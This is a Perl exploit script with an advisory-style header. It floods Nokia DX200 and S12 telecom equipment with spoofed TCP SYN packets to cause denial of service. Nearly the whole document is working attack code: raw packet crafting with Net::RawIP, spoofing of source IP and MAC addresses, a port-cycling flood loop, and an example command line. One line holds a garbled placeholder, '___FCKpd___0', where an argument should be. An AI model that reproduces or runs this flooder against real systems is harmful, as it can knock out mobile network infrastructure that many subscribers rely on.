#######################################################################
#Vulnerability: Nokia TCP Syn Flood DoS - DX200
#Synopsis : Denial of Service
#Affected Platforms: DX200 M13 (MGW/HLR), S12 (BSC)
#Severity: High Risk
#Vendor: Nokia (http://www.nokia.com/)
#Exploit Release Date:  01/21/2009
#By: tambarus (tambarus@gmail.com)
#######################################################################

#!/usr/bin/perl

eval ("use Getopt::Long;");die "[error] Getopt::Long perl module is not installed \n" if $@;
eval ("use Net::RawIP;");die "[error] Net::RawIP perl module is not installed \n" if $@;
eval ("use Term::ProgressBar;");
die "[error] Term::ProgressBar perl module is not installed \n" if $@;
my $VERSION = "1.0";
print "$0, $PgmName, V $VERSION \n";
GetOptions ( 
"help" =>\$usage,
"device=s" => \$device, 
"source=s" =>\$sourceip,
"dest=s"=>\$destip,
"sourcemac=s"=>\$sourcemac,
"destmac=s"=>\$destmac,
"port=n"=> \$tcpport,
);

my $timeout = "0,1"; # Timeout

if ($usage) {&usage;} 

if (!$device) {
$device= 'eth0'; # Enter Nokia DX200 IP
}

if (!$destmac) {print "Dest MAC not found \n"; &usage;}
if (!$sourceip) {print "Source IP not found \n"; &usage;}
if (!$destip) {print "Dest IP not found \n"; &usage;}
if (!$tcpport) {print "TCP port not found \n"; &usage;}

my $syn="1"; # TCP SYN SET
my $tcpdata = "BLASTNOKIA"; # TCP payload
my $count=0;

#Initialize Progres Bar 
my $progress = Term::ProgressBar->new(32768);
$progress->minor(0);
$packet = new Net::RawIP;
$packet-> ethnew($device);

if (!$sourcemac) {
$packet -> ethset( dest => $destmac);
}else { 
$packet -> ethset( source =>$sourcemac, dest => $destmac);
}

for ($count=0; $count< 65537 ; $count++) {

$packet->set({

ip => {
saddr => $sourceip,
daddr => $destip 
},

tcp => {
check => 0x0010 , # TCP Packet Checksum 0 for auto correct
source => $count,
dest => $tcpport,
syn => $syn,
data => $tcpdata
}});
$packet->ethsend($timeout);
#$packet->send($timeout);

$progress->update(
___FCKpd___0
);
$count++;
}

sub usage {
  print <<EOF ;
This vulnerability is already disclosed and can be exploited by TCP Syn Flooding.

usage: $0 [ --device=interface ] [--source=IP] [--dest=IP] [--sourcemac=MAC] [--destmac=MAC] [--port=n]

Options:

  --help		This message
  --device		Network interface (defaut set eth0)
  --source	Victim source IP
  --dest		Victim destination IP
  --sourcemac	Victim source MAC
  --destmac	MAC Address of the gateway
  --port		TCP port 
  
Example: ./NokiaFlooder.pl --device eth0 --source 10.1.1.88 --dest 10.1.1.99 --sourcemac 00:11:22:22:11:00 --destmac 00:11:22:22:11:99 --port 23 
EOF  
  exit shift;
}